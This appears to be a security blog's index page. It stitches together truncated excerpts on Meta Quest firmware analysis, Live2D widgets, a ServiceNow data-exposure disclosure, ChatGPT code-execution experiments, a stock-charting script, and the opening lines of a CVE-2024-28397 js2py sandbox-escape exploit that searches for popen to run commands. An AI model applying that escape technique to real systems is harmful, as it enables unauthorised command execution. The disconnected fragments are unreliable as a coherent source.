Getting started with Firmware Analysis on Meta Quest

Summary of the concepts and techniques discussed in a firmware analysis series, along with technical notes and commands

Video - Part 1

This video, Part 1 of a three-part firmware analysis series by Tom Heb of Meta Red Team X, introduces what firmware is, why it's security-critical, and the initial two phases of firmware analysis: enumerate (figuring out what firmware exists) and obtain (getting a copy of the firmware).

Key Technical Details and Commands:

Autonomous killer drones

Live2D Interactive Anime Character on a Website

You may have seen something like the above on websites (especially Chinese and Japanese). These are interactive 2D character animations that can be integrated into websites. They are designed to run on the client side using JavaScript and graphics assets with Live2D technology. The characters can move and respond to user interactions.

Here’s a basic idea of how you can add a Live2D widget to a website:

You need a Live2D model file, which typically includes a set of files such as textures, model data, and animation settings. You can create your own using Live2D Cubism software. Many ready-made models are available here: https://github.com/evrstr/live2d-widget-models

ServiceNow Instance Exposing Sensitive Information via Unauthenticated Endpoints

Date: 26 June 2023
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Discovered by: Bipin Jitiya (@win3zz)

Summary

[REDACTED], Inc., uses ServiceNow with an instance named "[REDACTED]" accessible at https://[REDACTED].service-now.com/. Upon reviewing this instance, I observed that it is not sufficiently hardened for security, and some endpoints are exposing sensitive information. The following three endpoints, designed for performance monitoring, logging, and troubleshooting purposes, are accessible without authentication:

ChatGPT's Advanced Data Analysis and Code Execution - Experiments

Recently, I learned that ChatGPT now allows advanced data analysis, which includes executing code (Python or possibly others). This feature is available to registered users via GPT-4o, albeit with limitations.

I quickly tried running system commands using this functionality, and here are the results:

It clearly shows that system commands can be executed through Python code in a sandboxed environment.

CVE-2024-28397: js2py (JS interpreter) Sandbox Escape, bypassing restrictions to execute commands.

js_code = """

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
 let item = o.__subclasses__()[i]

Compare Stock Performance Over Multiple Time Frames with Yahoo Finance API and Matplotlib

How to Use

Compare the performance of a stock across two or more time frames using the Yahoo Finance API and the Matplotlib Python library. Adjust the stock symbol and time frames according to your requirements and save the content in a file named script.py.
